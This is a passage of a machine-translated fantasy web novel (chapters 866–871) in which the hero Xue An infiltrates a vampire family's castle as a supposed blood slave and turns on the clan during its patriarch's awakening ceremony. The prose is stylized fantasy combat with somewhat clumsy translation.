    The person who had just hit up a conversation was even more embarrassed, and then began to talk quietly.


    "What are you pretending to? Come here to meditate?"


    "Who said no? Don''t you come here thinking about becoming a blood slave and gaining powerful strength and a long life?"


    In these cynics.


    So Hao''s heart gradually slowed down, and it seemed that he was nothing more than a bumpkin who had never seen the world before.


    Then he unfolded the eloquence he had cultivated as a prince, and soon became one with these people, and then intentionally or unconsciously isolated Xue An completely.


    Xue An was completely indifferent to these small actions.


    The elephant never cares about the grievances between the ants.


    Time just passed by one minute after another.


    at last.


    I heard a crisp sound of footsteps outside the door.


    Then a woman with a slender figure in a tight leather jacket walked in.


    Behind her.


    It is the respectful blood soldiers and Hall, Tolan and others.


    This situation naturally made these people understand.


    This woman is the eldest lady Aisi.


    When I saw this eldest lady, not only was her body spurting blood, she was also shocked by her looks.


    These people can''t help but desire even more.


    If this can be selected, not only can you become a guest of such a beautiful woman, but also get endless benefits. This is simply a good thing!


    So these people began to express themselves crazy.


    There was an iron fence leaning against the dungeon, staring at Ai Xi with a charming gaze.


    There are also those who walk away with a shy face, trying their best to show their "coquettish" appearance.


    These people are pretty good-looking.


    The point is that although some people are handsome in appearance, they are stout and full of masculine demeanor.


    So when they squeezed their throats and squeezed, they could get goose bumps.


    Compared with these group of demons flurry.


    Soho is so dazzling.


    I saw him standing there very naturally, with a thin body and a trace of trepidation, just like a frightened young elf.


    Such a picture made the corners of Tolan''s mouth in the distance show a smug look.


    Because he felt that he would win this time.


    really.


    Seeing this, Aixi couldn''t help but flash up after seeing Soho, and then stretched out her hand.


    "he!"


    Immediately, the blood soldier came forward to open the door.


    So Haoqiang suppressed the joy in his heart, and stood behind Ai Xi well.


    Ai Xi took another look at the people who looked at her eagerly, and she turned around and planned to leave without finding anyone she liked.


    This Tolan glanced at Hall next to him with some pride, and was thinking of a few words of mockery.


    But at this moment, the corner of Aixi''s eyes caught a glimpse of Xue An who was sitting cross-legged in the corner.


    Then she was stunned.


    The black-haired boy sat there silently, while his face was hidden in the junction of darkness and light, which looked a little vague, but full of a mysterious and thrilling beauty.


    It''s like a **** who has traveled through the ancient times, which makes people afraid of blasphemy.


    This Aixi looked silly.


    At the same time, Xue An slowly opened his eyes.


    As soon as those black eyes were as deep as lacquer, and the eyes were as deep as the sea, Ai Xi said without hesitation.


    "And him!"

 Chapter 866： Intrigue waiting for murder

    There was a slight commotion in the dungeon.


    Especially Sohao, his heart sank, and a look of hatred flashed in his eyes.


    Because the thing he worried most still happened.


    At this time, a jailer opened the cell door, and Xue An slowly stood up and walked out like a stroll in the courtyard.


    Ai Xi looked at Xue An with extremely interested eyes.


    Because she had never seen a "blood slave" as calm as Xue An.


    In the past, the teenagers chosen by themselves tended to be happy, and some even cried with excitement.


    Even if those who performed well, just like this Soho, barely kept calm on the surface, but the flashing joy in his eyes betrayed his true thoughts.


    But this black-eyed and black-haired boy was different.


    He seemed to be indifferent to everything, and his expression was extremely calm.


    Especially his eyes are as deep as a deep pool.


    This naturally made Ai Xi full of curiosity.


    But such a scene made Tolan''s face sinking not far away.


    He didn''t expect that the eldest lady, who always likes to be tender and young, would suddenly change her appetite and choose this man.


    And Hall, who was on the side, couldn''t help but ridicule at this time: "Tolan, it seems that the lady is more important to the people I brought!"


    These words made Tolan even more hateful in his heart, and So Hao who was on the battlefield gave a wink.


    This So Hao understood him, nodded slightly, and looked at Xue An''s eyes again, with a hint of cold killing intent.


    Tolan had high hopes for this Soho.


    And this Soho''s background also made Tolan treat him differently, so Tolan told him many things to pay attention to before coming.


    The most important one is.


    Fighting between blood slaves is allowed.


    Even the blood clan would intentionally or unintentionally encourage the blood slaves under them to fight each other for grace.


    Because only in this way can these blood slaves unite.


    So Tolan''s eyes were clear just now.


    Find a chance to kill this black-haired boy!


    So Hao understands this, but on the surface, he still has a soft and "moving" appearance.


    And for all this, Hall naturally saw it.


    The corners of his mouth gradually rose, revealing a strange smile.


    Haha, Tolan, you made the wrong wishful thinking this time!


    After Aisi chose a good person, she left first.


    Someone led Xue An and So Hao to leave the dungeon and into a luxuriously decorated room.


    "You two are taking a good bath here. Remember, no dirt is allowed, otherwise it will cause the lady''s disgust, don''t say I didn''t remind you!" said a middle-aged woman with a cold face.


    Xue An was noncommittal.


    But this Soho said with a smile: "Honorable lady, when will the lady come over?"


    The middle-aged woman glanced at Sohao coldly, "When will the young lady come here, can someone with your identity be able to inquire? Also, don''t show off your disgusting tricks in front of me, otherwise I will let You can taste it now!"


    The Soho who said these words turned red and white, but he could only listen honestly with his head down.


    "Listen to you two, I don''t care what your identities outside, but when you get here, your only mission is to serve the good lady, otherwise, I will let you fall forever like the scraps in the dungeon!"


    The middle-aged woman said, turned and left.


    The people who have been waiting for her are gone.


    So Hao let out a sigh of relief.


    Then Xue An glanced aside, with an enthusiastic smile on his face, stretched out his hand and said, "Hello, it''s nice to meet you!"


    Xue An has been perceiving his surroundings with his spiritual thoughts since he hit the dungeon.


    Regarding So Hao, who is a honey-belly sword, he is not even interested in seeing it directly.


    So just glanced at Soho''s outstretched hand, then turned and left without expression.


    This Sohao was left alone, and it wasn''t until a moment later that an extremely bitter look appeared in Sohao''s eyes.


    "Dare to ignore me? Very good, I will make you worse than dead, let you know that people who have offended my Soho have never had a good end!" Soho gritted his teeth.


    Then he turned and left.


    I have to say that these blood races are very particular about personal enjoyment.


    It can be seen from the bathroom arranged for Xue An.


    It may not be so resplendent, but the attention to detail still reveals the inside story.


    But these things bluff ordinary people, but for Xue An, they didn''t work at all.


    But now that he came, Xue An simply took a shower and then put on a bathrobe.


    He now has a general understanding of everything here.


    As Hall said.


    Although this Faulkner family is located in the outermost layer of the blood world, its strength is very good.


    Just look at it from what Xue An''s mind could know.


    There are no fewer than twenty or thirty marquis in this family, and several dukes are sitting in town.


    If it was left before, Xue An might have directly harvested the blood beads.


    But on the way to here from the dungeon just now, Xue An found that the servants of the entire castle were disturbing and preparing something.


    And from the words of these people, Xue An pieced together a message.


    This time, it is not only Aixi who has awakened from sleep.


    The patriarch of the Faulkner family will also wake up from sleep tonight.


    So tonight, the entire Faulkner family''s blood will gather together.


    This discovery made Xue An suppress the killing intent in his heart.


    Now that you have this opportunity, let''s wait until the evening to harvest together!


    At the same time, in another bathroom.


    So Hao looked at the flower-like young man in the mirror with a smug smile.


    "Want to compete with me? You are not qualified!" Su Hao murmured coldly.


    at last.


    After about an hour passed.


    The middle-aged woman came in and shouted coldly: "Get ready, Miss will be here soon!"


    Hearing these words, Sohao was the first to rush out of the bathroom, looking in the direction of the door without blinking.


    Xue An stood silently behind, without any expression of excitement or expectation.


    The middle-aged woman couldn''t help but glanced at Xue An with some surprise but at this moment the sound of footsteps had come to the door.


    In order not to disturb the young lady''s interest, the middle-aged woman took a step back and disappeared into the air.


    The door was gently pushed open.


    The Aisi style who had changed into a dress walked in.


    This Aixi really can be called amazing.


    At least when Soho saw this, his eyes were shining, and then he rushed forward, kneeling down like a little woman who saw her husband returning, "Miss!"


    This Aixi just glanced at him, and then focused all his attention on Xue An who was standing not far away.


    At this moment, Xue An, dressed in a black bathrobe, with half-dry hair. Although his figure is thin, his muscle lines are like cuts and cuts, full of explosive power.


    This strong masculine charm made this Ai Xi''s eyes a little blurred.

 Chapter 867： Destroy it, hurry up, tired!

    "You come in with me!" Ai Xi hooked Xue An and walked to the bedroom.


    So Hao was startled slightly, and immediately his jealous eyes burst into flames.


    Why is he?


    Why?


    There was a scream in his heart.


    But things didn''t change by his will at all.


    Seeing Aixi walked into the bedroom, then turned around and smiled at Xue An with a wink.


    "Come!"


    Xue An didn''t have any expression, and stepped into the bedroom.


    Watching this scene, Sohao''s crazy jealousy made his facial features twisted together.


    He tiptoed to the bedroom door, trying to eavesdrop on the movement inside.


    But then he was shocked to find that there was dead silence inside.


    what happened?


    Why is there no sound at all?


    So Hao was puzzled.


    But he didn''t even know that when Xue An entered this room, he arranged a magic circle to isolate everything, and no sound could be heard inside.


    And when Xue An stepped into this bedroom.


    The light inside is very dim.


    At the same time, there was a faint sweet fragrance in the air.


    The smell rushes straight to your nostrils, and starts to tease your desire crazily.


    If it is a person with a slightly weaker concentration, it may be lost at that time.


    But Xue An was not moved at all, but stood there, watching quietly.


    At this moment, there was a fiery body in the darkness like a snake approaching him, wanting to bind Xue An.


    At the same time, there was a chuckle from Ai Xi, "I can still stay awake under my carefully blended fragrance, you really make me more and more surprised!"


    But at this moment, Xue An suddenly raised his hand. Although the light was extremely dim, he still pinched Aixi''s neck with great precision, and then said lightly: "Don''t move!"


    Aixi''s body was stiff, but she laughed immediately, "It''s kind of emotional, but the more you are like this, the more I like it!"


    But the next moment, her smile all solidified on her face.


    Because she saw Xue An''s eyes.


    What kind of look is that.


    It was filled with chilling calm and indifference, as if a supreme **** was examining his people.


    Ai Xi began to tremble.


    She only felt that under the cold gaze of these eyes, she was like a clown who did wrong, and even the last trace of disguise was ruthlessly revealed.


    "If you don''t want me to twist your neck into twists, then be honest and obedient, understand?" Xue An said lightly.


    Ai Xi nodded hard, but there was no trace of fear on her face, and even her eyes were full of sickly excitement.


    "Don''t worry, I will never move, but I want to know, what do you want to do when you arrest me? Kidnap me? Or deal with our family?"


    Xue An frowned slightly.


    This blood family didn''t seem to be afraid at all, and even very excited.


    "Shut up, and then I will ask you to answer. If it makes me feel unsatisfactory with your answer, then I will let you die now!"


    With that, two groups of flames, one red and one white, burned in Xue An''s eyes.


    An incomparably powerful power directly descended on the eldest kinsman.


    And those two flames made Aixi, who was a blood clan, instinctively felt awe from the depths of his soul.


    Aixi sighed almost groaningly: "So powerful! I like this feeling!"


    Several black lines appeared on Xue An''s forehead.


    These blood races... really few are normal.


    For example, this Aixi is like a masochist.


    Xue An didn''t bother to pay attention to her nonsense, and asked directly: "Did you wake up this time because someone was summoned, or some other reason? Why did you even the patriarch of your family wake up almost at the same time?"


    Ai Xi was startled slightly, "How do you know that the patriarch will also wake up?"


    Xue An''s fingers suddenly clenched, and the powerful force directly pinched Ai Xi''s neck.


    Aixi can''t even breathe anymore. Although as a blood clan, she can survive without breathing, Xue An''s momentum is like a stormy sea, which suppresses her to death, making her blood clan ability impossible to display.


    So in a short while, this Aixi trembled, and her hands and feet began to twitch.


    At this time, Xue An suddenly released his hand.


    Ai Xi began to breathe violently.


    Xue An said coldly: "If you answer the wrong question again, I will cut your neck directly!"


    Aixi, who was gasping for breath, giggled nervously.


    "Yes, this is the feeling, please pinch me for a while next time, I can still hold on!"


    Xue An: "..."


    at last.


    This Aixi slowly recovered her calm, and then seriously said: "I don''t know why I suddenly wake up. It stands to reason that I will sleep for at least another ten years, and our patriarch will have to sleep for about a hundred years. Wake up! And when I woke up, I felt as if there was a voice from the depths of the blood calling me!"


    When Xue An heard the words, his eyes flickered slightly, and he smiled coldly in his heart.


    it is as expected!


    Ai Xi''s words can be regarded as a confirmation of Xue An''s conjecture.


    At this moment, Aisi asked: "Are you going to kill me?"


    "You seem to look forward to it!"


    "Hey, I''m not really looking forward to it, but I just think that death and sleeping should be no different! And you shouldn''t be in this world? So what are you doing in our Blood God Realm?"


    Xue An glanced at her coldly.


    Aixi swallowed all the questions that followed.


    Then Xue An let go.


    The kinship eldest lady threw herself to the ground.


    Xue An said calmly: "I won''t kill you, but you have to help me accomplish one thing!"


    "Are you going to take you to the awakening ceremony of our patriarch?" Ai Xi blinked and asked.


    Xue An nodded.


    Aixi giggled, "But aren''t you afraid of me betraying you? After all, that''s the patriarch of our family!"


    With a snap of Xue An''s finger, a divine thought was imprinted on Ai Xi''s eyebrows, and then said lightly: "Thank you for reminding me, now it is impossible for you to betray!"


    This Aixi was shocked, and she felt that there was something more in the sea of ??knowledge.


    "Did you use this method to control Hall? Tsk, it''s a breathtaking technique!"


    If it were other blood races, after feeling this curse imprinted on the soul, it would definitely be like a concubine.


    But this Aixi was amazed, and felt the change in spirit with great interest.


    Xue An was a little bit dumbfounded.


    He felt that this eldest kinsman was just like a fool, and the brain circuit was simply weird.


    However, judging from the divine consciousness just detected, this Aixi didn''t want to kill the innocent.


    At least the blood slaves chosen by her ended up pretty well.


    "You don''t seem to be afraid at all!" Xue An said.


    "Afraid? Why are you afraid?"


    "I''m here to destroy your family! Shouldn''t you be afraid?"


    "Okay, then destroy it! Hurry up, tired!"

 Chapter 868： Proud of the wind

    At this moment, Soho looked like an angry beast, with red eyes pacing back and forth in this room.


    This guy, after he comes out, I must do everything possible to kill him first.


    This Sohao thought with jealousy.


    At this moment.


    The bedroom door opened with a creak.


    Xue An walked out.


    So Hao was slightly startled.


    Immediately there was a burst of ecstasy in my heart.


    Came out so soon?


    It turned out that this guy looked tough, but it turned out to be a silver wax gun head.


    This will definitely annoy the lady.


    Maybe you don''t have to do it yourself, the eldest will kill him!


    So Hao was proud.


    Seeing Aixi also walked out, and then stood behind Xue An very obediently.


    It looks like a handmaid.


    Such a scene made Soho stupid.


    Then what Aixi said made this Soho even more shocked.


    "My lord, what about this guy?"


    Big...sir? Did you hear me right? Miss Ai Xi actually called this guy an adult?


    This Soho couldn''t believe his ears.


    But all this could not help him not believe it.


    Because at this time, Xue An raised his eyes and glanced at him lightly.


    The power of this glance made So Hao''s face instantly pale.


    "Kill it!"


    Xue An has no good feelings for this Soho, and this Soho has made various calculations for himself from the beginning.


    Keeping such a person is also a curse.


    The voice just fell.


    So Hao was shocked and turned around to escape.


    But he just took a step.


    From the foot he took, his body began to shatter a little bit.


    "No... I was wrong, I don''t dare anymore!"


    The threat of death made this Soho scream.


    Until this time, Soho realized how stupid he was.


    He tried to calculate this man again and again.


    Unfortunately, there is no regret medicine in this world.


    But in the blink of an eye, Soho turned from a big living person into a sky full of powder.


    But such a scene made Ai Xi extremely admired and admired: "It''s really a beautiful picture! This is the art of killing. Compared with you, the methods of our blood clan are simply stupid. Going up and biting the blood vessels, if you encounter someone who doesn''t like washing your neck, it will be a disaster!"


    "To shut up!"


    "Yes! My lord!"


    Night fell.


    This old castle of the Faulkner family has become more and more lively.


    Wings of blood kept passing through the sky.


    It was the blood clan sent by the Faulkner family to perform the task outside and was rushing back.


    In short, the entire Faulkner family is basically gathered in the ancient chamber, ready to welcome the awakening of the patriarch.


    At this time, the petty bourgeoisie of the kinship was once again fully demonstrated.


    This ancient palace is decorated like a banquet hall.


    All kinds of delicacies and delicacies are listed in cups and plates. These kinsmen are wearing costumes and holding carefully prepared blood wines, talking and laughing in groups.


    For them, this is a rare family gathering.


    In the middle of the banquet, many people focused their discussion on Ai Xi who woke up at about the same time as the patriarch.


    "Why hasn''t our Miss Aisi show up yet?" said the blood family.


    "Hehe, did you know why? This Aixi has been asleep for so long, and the first thing after waking up is naturally to resolve the desire in her heart!" Said the kinsman narrowly.


    "I heard that this time she chose two teenagers as blood slaves at one time. Tsk tsk, her appetite is really not small!"


    These male blood races all have weird smiles.


    The words of those female blood races are not so polite.


    "Huh, this Aixi is really a wolf who doesn''t know about temperance!" A woman in a long dress said with disdain.


    "Hehe, Susan, you just can''t understand her anymore, she is also the eldest lady of the Faulkner family!" another woman persuaded.


    "I just can''t understand, what does she have? Isn''t it just relying on the good blood, and the preference of the patriarch? Doing all these messy things all day, it is a shame to our blood girl!" Susan was still a little angry. .


    But what she said made many women who were in the audience disapproving.


    Some people even sneered in their hearts.


    It sounds like you are a white lotus.


    In fact, this Susan is not inferior to Essie.


    It''s just that because this Aixi''s identity is more noble than her, so this Susan took advantage of the problem and pretended to be uncomfortable.


    "And what I hate the most is the aesthetics of this Aixi. Is it interesting to find some so-called beautiful men who are pretending to be lassies all day?" Susan sneered.


    Her remarks attracted the approval of many people.


    After all, the unique aesthetic of this eldest lady Aisi has long been well-known.


    "Okay, just say a few words less! Look at this time, Ai Xi should be here in a while!"


    "What can she do if she comes? I just want to see what she is looking for this time!" Susan said with a look of disdain.


    At this moment.


    I saw a respectful cry from outside the chamber.


    "Miss!"


    "Miss, you are here!"


    Hearing these shouts, there was a slight commotion in the chamber.


    Everyone turned their eyes to the door.


    Then, seeing the door points around, Aixi walked in.


    Many people bend over and salute her.


    "I have seen the lady!"


    Ai Xi smiled slightly and nodded.


    This kind of graceful manners makes many blood men show a touch of stunning color.


    But Susan gave a cold snort.


    "What''s the pretense, I want to see what blood slave you found this time!"


    The voice just fell.


    Seeing Aixi turned sideways slightly, as if waiting for someone to arrive.


    Then a young man with black eyes and black hair, dressed in black, walked in slowly.


    As soon as this boy appeared.


    There was an unstoppable commotion in the audience.


    "Is this the new blood slave that Missy finds?"


    "It shouldn''t be wrong! But isn''t this eldest lady our favorite guy? Why has the style changed this time?"


    "Although it has changed , this young man is really good! Especially the temperament, if you don''t say it is a blood slave, you will definitely be considered a big man!"


    In these discussions.


    Susan''s expression gradually became weird.


    She had thought that Ai Xi would find another girl who was haunting her as a blood slave this time.


    But I didn''t expect it to be such a black-clothed teenager who was proud of the wind.


    It just so happens that Susan likes this type the most.


    So when I saw Xue An, Susan''s soul would be hooked away.


    After several hesitations, she finally couldn''t restrain her inner desires, stepped forward, covered her mouth and smiled: "Cousin Aisi, she woke up so soon in this deep sleep, it is really surprising!"

 Chapter 869： Secretly

    According to the genealogy, this Susan wants to call Ai Xi''s cousin.


    But Susan had never called that before.


    This is the first time.


    So Aixi couldn''t help being taken aback, but still smiled and replied: "Aren''t I accidentally awake?"


    The language is thorny.


    Susan didn''t realize it, she kept greedily watching Xue An on the side, and then pretended to say casually: "This must be the blood slave my cousin found this time?"


    With a move in her heart, Ai Xi understood what was going on, and couldn''t help but say indifferently: "Forget it!"


    Susan stretched out her hand and smiled at Xue An, "Hello, my name is Susan, and Aixi is my cousin. I''m glad to meet you!"


    Ai Xi didn''t move, but stared at all this with a good look.


    really.


    Xue looked quietly, without any movement.


    Susan''s hand hung in the air like this, and the smile on her face gradually solidified.


    Then Xue An turned and left without saying a word.


    Susan was left standing there extremely embarrassed, her eyelids beating frantically.


    Aixi couldn''t help but laugh out loud.


    The laughter seemed to be a fuse, causing Susan to be full of anger at her, "Cousin, I really admire you! Actually indulge the blood slaves of my own with such inferiority!"


    Aixi shrugged, "No way, I like this! What''s wrong?"


    Susan stared at Xue An''s away back, gritted her teeth and said: "What''s his name? Which cage is he from?"


    "Sorry, no comment! And I would advise you, it''s better not to provoke this blood slave of mine!" Ai Xi finished speaking, and left with a smile.


    But what she said became a mockery in Susan''s ears.


    A humble blood slave dared to ignore his existence, and even let me not provoke me.


    This Susan is almost going to be blown up, feeling that her dignity as a blood clan has been completely trampled on.


    If it weren''t for now, it was a ceremony to welcome the patriarch''s awakening.


    She really wanted to have an attack right now, and directly arrested the boy in black, and after a good deal of torturing, let him fall forever.


    at the same time.


    This Aixi leaned to Xue An��s side and said with a smile: "My lord, what you did just now is so handsome. Have you not seen that Susan was so angry that you were so angry, I think now I want to laugh when I get up!"


    Xue An was noncommittal, and didn''t pay attention to what Aixi said.


    Because he is now enthusiastically looking at these blood races in the chamber.


    For him, this is all blood beads!


    As for Susan, he didn''t care about it at all.


    And in the far corner.


    The Tolan looked at Xue An and Ai Xi in the field with a green face.


    Because he found that So Hao, who was given high hope by himself, did not appear here.


    Instead, the guy in Hall was brought by the eldest lady.


    Tolan naturally knew what this meant.


    That was the candidate that he had exhausted all his energy to find, but he was confused by this guy?


    This made his heart full of unwillingness and resentment.


    Then he noticed the scene between Susan and Ai Xi, and he was taken aback for a moment, and there was joy in his eyes.


    He leaned in quietly, and first saluted Susan, who was still irritated.


    "Miss Susan!"


    In this Faulkner family, Susan''s status is higher than that of him, so the honorific name must be added.


    Susan turned her head and saw that it was Tolan, and snorted from her nostrils.


    "what happened?"


    Tolan stepped forward and whispered: "Miss Susan, I have seen what just happened!"


    "Huh? What do you mean? Look at my joke?" Susan''s expression became more gloomy.


    Tolan hurriedly said, "No, no, Miss Susan, you have misunderstood, how dare I read your joke? I just want to tell you some useful information!"


    With that, Tolan reached Susan''s ear and whispered something.


    This Susan''s eyes got brighter and brighter, and finally nodded.


    "Okay, I get it! Get out!"


    Tolan smiled, "Yes!"


    Then he retreated.


    But my heart is full of joy.


    Because he felt that he was very clever with this trick. Now, this Xue An has to peel off even if he is not dead!


    At this moment, the entire chamber suddenly shook violently, the floor in the middle suddenly sank, and then a huge coffin began to rise slowly.


    Everyone was silent.


    After the coffin rose into the air, the coffin was suddenly erected, and then the lid of the coffin was lifted, revealing a withered old man inside.


    As soon as the old man touched the air, his cheeks that had already shrunk began to bulge.


    The wrinkles on his face began to plump as if he was blowing air.


    In an instant, this old man became a middle-aged man who described majesty.


    Then he slowly opened his eyes.


    The two rays of light flashed, as if piercing the space.


    Many kinsmen in the audience bow down to the ground.


    "I have seen the patriarch!"


    That''s right.


    This awakened old man is the patriarch of Faulkner family Jonson Faulkner, a second-generation blood clan with a powerful bloodline!


    This Jonson looked around the audience, then nodded slightly.


    "My descendants, all get up!"


    Everyone stood up one after another.


    There was excitement and joy on his face.


    Because they found that their patriarch had made great progress in strength after a long sleep.


    Among the blood races, the cultivation base of the blood ancestor increases, and the descendants will also get great benefits.


    So of course they are very happy.


    But at this moment, I heard a scream.


    "Damn blood slave, you dare to touch me?"


    Everyone was taken aback, then looked sideways.


    I saw Susan yelling at Xue An with an angry face.


    After seeing everyone''s eyes focused.


    Susan pointed at Xue An very aggrieved, "This humble blood slave, from the very beginning, tried his best to get close to me, because he was from Cousin Aisi''s person, I kept giving it up, but I didn''t expect that he would actually be sneaky and sneaky. I?"


    This remark caused an uproar.


    Some blood races roared angrily: "Kill him!"


    "Yes, make this humble blood slave into a specimen, just to follow suit!"


    For these blood races, a blood slave is like an ant.


    And he even dared to molest the girl in the family is really intolerable.


    Even Ai Xi couldn''t help but change her face.


    Susan played this hand absolutely.


    Because now, in the presence of the patriarch!


    really.


    Seeing the patriarch Johnson''s face sinking, he snorted, "A blood slave dare to be so presumptuous, die!"


    Following his words, a blood stream came straight to Xue An.


    Tolan and Susan both showed a smug smile, thinking that Xue An would definitely die.


    But at this moment, Xue An waved his hand and shattered the blood that hit.


    Then he looked at Susan and said in a playful tone.


    "You said I was sneaking on you?"

 Chapter 870： Start harvesting

    The audience was quiet.


    Many people looked at Xue An with surprised eyes.


    Can he actually crush the blood of the patriarch?


    Where did this blood slave come from?


    And this Susan was even more stunned, even if she was furious.


    Because she discovered that she had just been timid under the pressure of this "blood slave".


    This discovery made this self-respecting Susan almost unacceptable, so she shouted in a cold voice: "Humble things, do you really think it can be done by attaching Acie? I let you die now, you have to die!"


    With that, Susan''s eyes became scarlet and bloody, and the corners of her mouth showed squalid fangs. She raised her hand and patted a palm.


    This palm turned into sharp claws in the air, tearing the air, and blasting down towards Xue Andou.


    It is so powerful that if it is hit, even if this guy''s body is made of the hardest metal, it will have to be chopped up.


    The blood in Susan''s eyes grew hotter, and there was a smug sneer in her heart.


    But her pride didn''t last long, and it all turned into consternation.


    Because Xue An faced the banging palm, as if the breeze was blowing on his face, he was not moved at all. It was not until the blood came to him that he took a deep breath and then exhaled suddenly.


    "roll!"


    boom!


    A sound wave blasted past.


    The rays of blood are like ice and snow under the scorching sun, melting rapidly and disappearing into form.


    The audience was in an uproar.


    Because even the dull blood clan, at this moment, it can be seen that Xue An is definitely not an ordinary person.


    This Susan retreated violently, shocked in her heart.


    How could this man be so tough?


    Then she noticed the faint smile at the corner of Ai Xi''s mouth.


    I was shocked, and then I understood why Ai Xi just said not to provoke this blood slave.


    But the arrogance of being a blood clan made Susan absolutely unable to accept that she was defeated by a blood slave, so she narrowed her eyes and shook her figure. The speed directly broke ten times the speed of sound, and she came to Xue An in an instant, and then lifted it up. The hand blasted a punch.


    The force of the boxing force seems to be able to penetrate even the space.


    Among the blood races, strength does not distinguish between men and women, but only in blood.


    As long as your blood is strong, you can have incomparably powerful power.


    This Susan is a close branch of the Faulkner family, although not as direct as Aisi''s lineage, but also quite extraordinary.


    Therefore, the power of this fist is that ordinary blood marquis can hardly resist it.


    Many people are slightly discolored.


    Including the patriarch Jonson, who is above the head, can''t help but nod slightly.


    This Susan''s strength is considered to be the best among the younger generation of blood.


    But such a punch only made Xue An chuckle.


    "Is this the strength of the purebred blood? Too slow!"


    With that said, Xue An raised his hand slowly, but the second shot came first, and in a short period of time, he directly blocked Susan''s punch.


    Susan''s face changed wildly, "No, this is impossible!"


    As he said, the blood could surge all over, trying to shatter Xue An''s hands.


    Xue Ansen smiled, "In this world, nothing is impossible!"


    As he said, Xue An suddenly twitched.


    Click.


    One of Susan''s arm was torn off.


    Susan turned around in the severe pain to escape.


    Xue An stood with his hand in his hand, without seeing how he moved, he had reached the top of Susan''s head, and then stepped on it.


    boom!


    A strong golden light flashed.


    Before this Susan could react, Xue An stepped directly on the ground from a high altitude.


    The whole chamber was trembling.


    Huge pits appeared directly on the hard granite ground.


    And at the bottom of the pit.


    This Susan didn''t even hum and was trampled to pieces.


    Xue An hovered in the air, looking around all the stunned kinsmen in the audience, revealing a mouthful of white teeth, and smiled sensibly.


    "Everyone is here! If they are there, then I''m going to harvest!"


    Many kinsmen were shocked.


    "He is not a blood slave!"


    "kill him!"


    Numerous shouts were heard everywhere.


    Dozens of blood races rose into the sky and directly killed Xue An.


    For a time, the blood was heavy and the light was shining.


    All kinds of powerful auras filled the whole conference hall.


    But there is only one goal, and that is Xue An standing in the air.


    Tolan also revived from the horror of Susan being crushed by Xue An''s foot, staring at Xue An, who was under siege in the sky, with a gloomy expression.


    The toughness of this guy was beyond his expectation.


    But now everything is over.


    Because no one can torture and kill a noble kinship lady in the presence of so many powerful people in the Faulkner family.


    But when he thinks so.


    Suddenly found that Hall not far away was quietly retreating.


    Following back together, there was Miss Ai Xi.


    what happened?


    How could the two of them not advance and retreat?


    Especially Ai Xi.


    This man is so innocent and guilty of making a mess, but why is she not surprised at all, but rather excited?


    This Toran was puzzled.


    But at this moment.


    Xue An, who only listened in midair, said calmly: "Don''t worry, today, none of you can escape!"


    As he said, Xue An stretched out his hand, palm facing up.


    The blood that struck suddenly turned around and gathered in the palm of his hand.


    In an instant, a blood-colored light group appeared in the palm of Xue An''s palm.


    Although not big, the powerful power contained in it makes many blood races tremble.


    And what shocked them even more was Xue An''s hand-in-hand attack turned into an invisible means.


    "Enough!" Just listened to a majestic male voice.


    Many blood races stepped back one after another, standing down.


    Because the speaker is their supreme patriarch.


    I saw this Johnson slowly standing up and staring at Xue An.


    "Human race powerhouse, I am curious why you have such a strong confidence that you dare to come to my Faulkner family alone to cause trouble! But I believe that this must be your stupidest decision!"


    Xue Anman casually weighed the blood cells in his hands, "Really? But I don''t think so, do you know what you are in my eyes?"


    "What is it?"


    Xue An smiled slightly You are like rice growing in the ground, and I am the person responsible for harvesting you! "


    This remark made Jonson''s face pale.


    Although he doesn''t know what rice is.


    But the insult of harvesting these two words still made this Jonson furious.


    "court death!"


    With that said, the blood shadow in Jonson''s eyes flashed, and the whole person instantly broke through the sound barrier, came in front of Xue An, and then raised his hand.


    "In my name, aging!"


    A gray light came straight to Xue An.


    Upon seeing this, the many blood races all stepped back in fear, for fear that they would be contaminated with a trace.


    Because this is the famous skill of the patriarch Jonson.


    The sigh of the blood ancestor.

 Chapter 871： Red and white double lotus slaughtered here

    "That''s the trick? It''s too weak!"


    Xue An looked indifferent, with no joy or sadness in his eyes, and raised his hand to shake.


    The palms carved like sapphire completely grasped the gray light.


    "How is it possible?" Johnson exclaimed, who had thought that Xue An would definitely die.


    You must know that the sigh of the blood ancestor is a big killer move, even if it is against the second generation blood clan of the same level, you have to retreat and dare not contaminate it.


    But the man held it casually.


    This simply subverted Jonson''s worldview.


    Xue An said indifferently: "If you come and don''t go ashamed, I''ll return it to you!"


    After all, Xue An suddenly raised his hand.


    A group of gray lights went straight to Jonson at a speed countless times faster than before.


    Jonson screamed, trying to avoid it.


    But this speed is simply too fast.


    He couldn''t even do it sideways, so he was completely covered by this gray ball of light.


    After a dazzling glare.


    Jonson, who was just like a middle-aged man, began to age rapidly.


    The wrinkles on his face began to pile up, his eyes became dull, and his figure gradually rickets.


    In short, he seemed to have been pressed the fast forward button, and he was rushing towards death.


    This scene frightened many blood races in the audience.


    Especially that Tolan was pale and shivering.


    He finally understood why Hall and Missy would go back quietly.


    It turned out that this man was so tough.


    So tough that even the patriarch is not his opponent.


    At this moment.


    Jonson let out a roar.


    Then the body that had become aging began to shatter, and a strong aura began to emerge in the chamber.


    "this is����."


    Many kinsmen were shocked on the spot and whispered softly.


    At the same time, two huge blood wings began to emerge, and then the dust dispersed, revealing the figure inside.


    Jonson, who had become like a young man, spread his wings back and looked at Xue An in a desperate manner.


    "This is the main body of the patriarch!" Many blood races began to exclaim.


    "Human race, you can force me to show my real body, it is enough to be proud! But the game is over, I will treat your body as my best trophy, and your soul will never fall forever! "Jonson gritted his teeth.


    He now hates Xue An extremely.


    Because he just woke up from a deep sleep, but was forced to show his body.


    This invisibly caused his origin to be greatly damaged.


    After waiting, he will fall asleep again, and it will take at least a hundred years to recover.


    Xue An smiled faintly, "As you said, the game should be over!"


    After all, the light in Xue An''s eyes was shining, and an aura that shook the sky rose to the sky.


    Then around him, red and white lotus flowers began to gradually emerge.


    And in a flash, it enveloped the whole chamber.


    This red and white double lotus came out.


    Jonson, who was already aggressive, was stupid.


    Then his whole figure began to tremble uncontrollably, and there was a light of fear in his eyes.


    Because he can feel it, this seemingly flat lotus contains energy that can destroy the world.


    In particular, this energy is also against the power of the blood family.


    Naturally, he was terrified.


    As for the other blood races, they were all deterred by the aura, and it was impossible to even move them.


    Only this Jonson could barely move, but at this moment, he was so scared that he didn''t even dare to take another look. He turned around and stroked his hand, and a blood-filled space-time appeared in the void. Door, and then wanted to escape.


    But how could Xue An let him run away.


    "Isn''t it fragrant to be harvested by me obediently? I have to deal with so many useless struggles!"


    Xue An said lightly, his eyes flashing slightly.


    A sword light swept across the air, directly smashing the blood gate.


